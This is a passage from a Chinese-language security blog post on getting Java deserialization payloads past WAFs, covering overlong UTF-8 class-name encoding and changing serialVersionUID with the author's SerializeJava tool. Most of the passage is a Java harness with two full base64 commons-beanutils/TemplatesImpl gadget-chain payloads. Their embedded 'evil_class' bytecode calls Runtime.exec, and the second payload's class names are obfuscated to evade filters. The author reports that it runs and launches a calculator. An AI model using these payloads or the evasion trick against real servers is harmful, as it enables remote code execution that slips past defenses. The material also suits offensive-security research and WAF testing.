而我们的两byte编码形式其实用到了C0或者C1(简单修改下生成的脚本即可生成C1的),且两byte的过长编码绕过只能以C0,C1开头才能符合条件。所以对于这个标准来说,Java的反序列化流程是不符合标准的,2 byte overlong encoding按照标准是可以避免的。
不过哪怕按照如今最新版本的jdk(23.0.1),无论是2 byte,3 byte的过长编码都能成功解析。
Trick3. 修改serialVersionUID
严格来说这不算"绕WAF"的Trick,但是个常用的东西,所以我把它归在Trick里。
Java中序列化反序列化对于类的serialVersionUID会要求一致,服务端(反序列化端)必须要求拿到同一版本对象的序列化流才能成功序列化。
如将commons-beanutils1.8.3依赖的CB链放在commons-beanutils1.9.2的服务端反序列化就会报错:
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -3490850999041592962, local class serialVersionUID = -2044202215314119608
at java.io.ObjectStreamClass.initNonProxy(ObjectStreamClass.java:616)
Java中鉴别版本的就是这个serialVersionUID。
在SerializeJava中,我们可以利用第三个模块改变当前数据流中的serializeVersionUID:
输入序列化流后,点击Change Class SerialVerionUID的check按钮,工具会自动对数据流结构进行解析,并把数据流中的类名以及其SerialVerionUID展示其中。
我们这里把BeanComparator的值改变成**-2044202215314119608**:
改变后点击change,再把生成的数据流放在反序列化端跑:
package com.demo;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Unser {
public static void main(String[] args) {
//readObject("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAAEc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgBAY29tLnN1bi5vcmcuYXBhY2hlLnhtbC5pbnRlcm5hbC5zZWN1cml0eS5jMTRuLmhlbHBlci5BdHRyQ29tcGFyZZ1IoA3i3IaaAgAAeHB0ABBvdXRwdXRQcm9wZXJ0aWVzdwQAAAAFc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAABzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABbjK/rq+AAAANAA0CgAIACQKACUAJggAJwoAJQAoBwApCgAFACoHACsHACwBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEABHRoaXMBAAxMZXZpbF9jbGFzczsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAA9ldmlsX2NsYXNzLmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMwAKAQAKZXZpbF9jbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAADAAEACQAKAAEACwAAAHwAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAMADAAAABoABgAAAAoABAAMAA0ADwAQAA0AEQAOABUAEAANAAAAFgACABEABAAOAA8AAQAAABYAEAARAAAAEgAAABAAAv8AEAABBwATAAEHABQEAAEAFQAWAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAATAA0AAAAgAAMAAAABABAAEQAAAAAAAQAXABgAAQAAAAEAGQAaAAIAGwAAAAQAAQAcAAEAFQAdAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAXAA0AAAAqAAQAAAABABAAEQAAAAAAAQAXABgAAQAAAAEAHgAfAAIAAAABACAAIQADABsAAAAEAAEAHAABACIAAAACACNwdAAKZXZpbF9jbGFzc3B3AQB4c3EAfgAJAAAAFnEAfgAQeA==");
readObject("rO0ABXNyAC7BqsGhwbbBocCuwbXBtMGpwazArsGQwbLBqcGvwbLBqcG0wbnBkcG1waXBtcGllNowtPs/grEDAAJJAAjBs8GpwbrBpUwAFMGjwa/BrcGwwaHBssGhwbTBr8GydAAswYzBqsGhwbbBocCvwbXBtMGpwazAr8GDwa/BrcGwwaHBssGhwbTBr8GywLt4cAAAAARzcgBWwa/BssGnwK7BocGwwaHBo8GowaXArsGjwa/BrcGtwa/BrsGzwK7BosGlwaHBrsG1wbTBqcGswbPArsGCwaXBocGuwYPBr8GtwbDBocGywaHBtMGvwbLjoYjqcyKkSAIAAkwAFMGjwa/BrcGwwaHBssGhwbTBr8GycQB+AAFMABDBsMGywa/BsMGlwbLBtMG5dAAkwYzBqsGhwbbBocCvwazBocGuwafAr8GTwbTBssGpwa7Bp8C7eHBzcgCAwaPBr8GtwK7Bs8G1wa7ArsGvwbLBp8CuwaHBsMGhwaPBqMGlwK7BuMGtwazArsGpwa7BtMGlwbLBrsGhwazArsGzwaXBo8G1wbLBqcG0wbnArsGjwLHAtMGuwK7BqMGlwazBsMGlwbLArsGBwbTBtMGywYPBr8GtwbDBocGywaWdSKAN4tyGmgIAAHhwdAAgwa/BtcG0wbDBtcG0wZDBssGvwbDBpcGywbTBqcGlwbN3BAAAAAVzcgAiwarBocG2waHArsGswaHBrsGnwK7BicGuwbTBpcGnwaXBshLioKT3gYc4AgABSQAKwbbBocGswbXBpXhyACDBqsGhwbbBocCuwazBocGuwafArsGOwbXBrcGiwaXBsoaslR0LlOCLAgAAeHAAAAAAc3IAdMGjwa/BrcCuwbPBtcGuwK7Br8GywafArsGhwbDBocGjwajBpcCuwbjBocGswaHBrsCuwanBrsG0waXBssGuwaHBrMCuwbjBs8GswbTBo8CuwbTBssGhwbjArsGUwaXBrcGwwazBocG0waXBs8GJwa3BsMGsCVdPwW6sqzMDAAZJABrBn8Gpwa7BpMGlwa7BtMGOwbXBrcGiwaXBskkAHMGfwbTBssGhwa7Bs8GswaXBtMGJwa7BpMGlwbhbABTBn8GiwbnBtMGlwaPBr8GkwaXBs3QABsGbwZvBglsADMGfwaPBrMGhwbPBs3QAJMGbwYzBqsGhwbbBocCvwazBocGuwafAr8GDwazBocGzwbPAu0wACsGfwa7BocGtwaVxAH4ABEwAIsGfwa/BtcG0wbDBtcG0wZDBssGvwbDBpcGywbTBqcGlwbN0ACzBjMGqwaHBtsGhwK/BtcG0wanBrMCvwZDBssGvwbDBpcGywbTBqcGlwbPAu3hwAAAAAP////91cgAGwZvBm8GCS/0ZFWdn2zcCAAB4cAAAAAF1cgAEwZvBgqzzF/gGCFTgAgAAeHAAAAW4yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAMTGV2aWxfY2xhc3M7AQANU3RhY2tNYXBUYWJsZQcAKwcAKQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAPZXZpbF9jbGFzcy5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24MADMACgEACmV2aWxfY2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAEwANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAFwANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAjcHQAFMGlwbbBqcGswZ/Bo8GswaHBs8GzcHcBAHhzcQB+AAkAAAAWcQB+ABB4");
}
public static Object readObject(String base64String) {
try {
byte[] data = Base64.getDecoder().decode(base64String);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
成功执行,弹出计算机。
结语
本文总结的只是一些Java语言"通用性"的绕WAF技巧,针对于组件,框架,CMS其它的细节和特性的所有的Trick只是沧海一粟,也期待各位师傅的新发现。
还是希望师傅们顺手给https://github.com/byname66/SerializeJava/点点star^.^,如果有使用上的问题或者建议,敬请师傅们提出。我也尽力维护好这个工具。